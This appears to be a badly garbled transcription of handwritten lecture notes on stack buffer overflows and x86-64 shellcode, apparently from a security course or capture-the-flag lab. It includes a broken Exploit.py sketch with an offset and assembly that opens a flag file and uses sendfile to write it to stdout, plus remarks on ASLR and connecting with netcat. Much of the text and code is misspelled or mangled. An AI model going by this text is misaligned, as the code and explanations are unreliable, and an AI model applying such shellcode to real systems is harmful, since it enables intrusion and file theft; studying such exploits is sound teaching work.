Ladure 5 Notes

Stackul

Main returns to libe stert main "Lis-C Dynamically linked in the of the compiled coded Harp space only sets allocated it to it sods called in the code The instructions for main live in the pragrams "text" section gets (buffer) overnotes morning on the stack Algert 9999999999999



Sys_Call instruction needed

Noved to set up the arguments &

Pres system call arount # with RAX *

· Systati Open B Send file

stell: man & open

RAX value = 2 Rdi Lalue = String Of file man RSI Value = flag

mah ()

Fd = file descriptor

fd = apor (./fles.tst", O_RDONLy)
Soudfile (4, Pd, O, Ox Pf)
11
rdi rgi rdx rex 3

Stdin, out, eral ac 0,1,2 Wen a prigon storts

mou rsi 0 rdi, rax la mov rax, bx 0 Call Data Adar < Eax = (in 3)} Ptr nou lax, mor ecx, ouff edx, O×O ncu Nov es) 1 eax ed; 0x1 Nou Data Adder Soudfile Coll

if you soe a love of reload Oxffff Hen somethy hent wors cally

If he went to Make a 579

call, nake a simple present to be

see how to set up the cally,

instructions in shell code

Exploit.py

Offset = 5C

Context. Silvery = 1. Stack 4 Context. lug. level = 'debug'

Offset = 56

P = (Priuss code) for doby 500,24

Code = ash ("1"

push 0x7478

nou rax, 0x742eC7G16c662fde

push rax,

nou lax, 2 -> four sites to no

nou rdi, rsp

vor esi, esi -> sets to 0

Sysall_opin

Mov es; , eax ->
mov eax, 40 ->
mov edi, 1 -> sets to stat out

Xor edx, edx ->
Sets to stat out

You rlo, off

Sys call - sent file

mov eax, 60 systall_ex;7 III)

Shell pun cycic -n 8-1 Addr reload

04- String (flat 20: code, offset: Figury) P. soudly, (exp-Str) f. hast () Stalk 4-32 word to do 32 Sit Stack 4 rouse only allows road, write, open ASLR is ounded Connect with netcat net cat is about Q shall Part #